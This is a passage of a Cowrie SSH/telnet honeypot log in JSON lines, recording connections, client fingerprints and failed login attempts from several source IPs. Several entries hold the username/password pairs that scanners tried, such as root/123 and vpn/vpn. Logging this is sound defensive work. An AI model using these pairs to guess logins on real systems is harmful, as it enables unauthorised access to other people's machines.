{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:08.028203Z","src_ip":"45.156.87.204","session":"8b6784ccd6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.18534445762634,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:08.975889Z","src_ip":"152.42.224.71","session":"7f2b856d445f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43424,"dst_ip":"159.203.135.109","dst_port":22,"session":"215bc4ceb262","protocol":"ssh","message":"New connection: 45.156.87.204:43424 (159.203.135.109:22) [session: 215bc4ceb262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:10.161995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:10.167102Z","src_ip":"45.156.87.204","session":"215bc4ceb262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:10.249737Z","src_ip":"45.156.87.204","session":"215bc4ceb262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:10.499253Z","src_ip":"45.156.87.204","session":"215bc4ceb262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.21111869812012,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:10.901968Z","src_ip":"152.42.224.71","session":"a85ea835f92e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:11.583970Z","src_ip":"45.156.87.204","session":"215bc4ceb262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0022885799408,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:12.704861Z","src_ip":"152.42.224.71","session":"db86b8905d6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38466,"dst_ip":"10.17.0.5","dst_port":23,"session":"10306b556649","protocol":"telnet","message":"New connection: 152.42.224.71:38466 (10.17.0.5:23) [session: 10306b556649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:13.040368Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39846,"dst_ip":"159.203.135.109","dst_port":22,"session":"f94f1b1aebff","protocol":"ssh","message":"New connection: 45.156.87.204:39846 (159.203.135.109:22) [session: f94f1b1aebff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:13.909060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:13.924961Z","src_ip":"45.156.87.204","session":"f94f1b1aebff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:14.019624Z","src_ip":"45.156.87.204","session":"f94f1b1aebff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:14.317020Z","src_ip":"45.156.87.204","session":"f94f1b1aebff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:15.403013Z","src_ip":"45.156.87.204","session":"f94f1b1aebff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":56940,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b85734e210","protocol":"ssh","message":"New connection: 42.200.78.78:56940 (159.203.135.109:22) [session: 32b85734e210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:15.800793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:15.807352Z","src_ip":"42.200.78.78","session":"32b85734e210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:16.023958Z","src_ip":"42.200.78.78","session":"32b85734e210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe-user","password":"123456","message":"login attempt [frappe-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:16.914812Z","src_ip":"42.200.78.78","session":"32b85734e210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39860,"dst_ip":"159.203.135.109","dst_port":22,"session":"91be6226e512","protocol":"ssh","message":"New connection: 45.156.87.204:39860 (159.203.135.109:22) [session: 91be6226e512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:17.580331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:17.585666Z","src_ip":"45.156.87.204","session":"91be6226e512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:17.670871Z","src_ip":"45.156.87.204","session":"91be6226e512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:17.919159Z","src_ip":"45.156.87.204","session":"91be6226e512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:18.137951Z","src_ip":"42.200.78.78","session":"32b85734e210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:19.017296Z","src_ip":"45.156.87.204","session":"91be6226e512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39884,"dst_ip":"159.203.135.109","dst_port":22,"session":"49d21d7f5ba9","protocol":"ssh","message":"New connection: 45.156.87.204:39884 (159.203.135.109:22) [session: 49d21d7f5ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:21.183688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:21.251774Z","src_ip":"45.156.87.204","session":"49d21d7f5ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:21.283065Z","src_ip":"45.156.87.204","session":"49d21d7f5ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.013039350509644,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:21.495827Z","src_ip":"152.42.224.71","session":"42d2e35e99f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:21.599685Z","src_ip":"45.156.87.204","session":"49d21d7f5ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:22.685085Z","src_ip":"45.156.87.204","session":"49d21d7f5ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48686,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd2d1f48c74a","protocol":"ssh","message":"New connection: 45.156.87.204:48686 (159.203.135.109:22) [session: bd2d1f48c74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:24.915287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:24.921266Z","src_ip":"45.156.87.204","session":"bd2d1f48c74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:25.003817Z","src_ip":"45.156.87.204","session":"bd2d1f48c74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:25.250914Z","src_ip":"45.156.87.204","session":"bd2d1f48c74a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:26.411328Z","src_ip":"45.156.87.204","session":"bd2d1f48c74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37770,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a09d78b278","protocol":"telnet","message":"New connection: 152.42.224.71:37770 (10.17.0.5:23) [session: 86a09d78b278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:26.601471Z"}
{"eventid":"cowrie.session.closed","duration":39.571791648864746,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:26.656319Z","src_ip":"152.42.224.71","session":"409cd7c54e3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.10972785949707,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:26.915292Z","src_ip":"152.42.224.71","session":"9e92328f906f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":58102,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d7a8b32624","protocol":"ssh","message":"New connection: 170.106.151.211:58102 (159.203.135.109:22) [session: 42d7a8b32624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:27.797022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:27.802125Z","src_ip":"170.106.151.211","session":"42d7a8b32624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:27.875920Z","src_ip":"170.106.151.211","session":"42d7a8b32624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"admin","message":"login attempt [administrador/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:28.207660Z","src_ip":"170.106.151.211","session":"42d7a8b32624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48704,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b75a65e3e72","protocol":"ssh","message":"New connection: 45.156.87.204:48704 (159.203.135.109:22) [session: 7b75a65e3e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:28.506755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:28.511481Z","src_ip":"45.156.87.204","session":"7b75a65e3e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 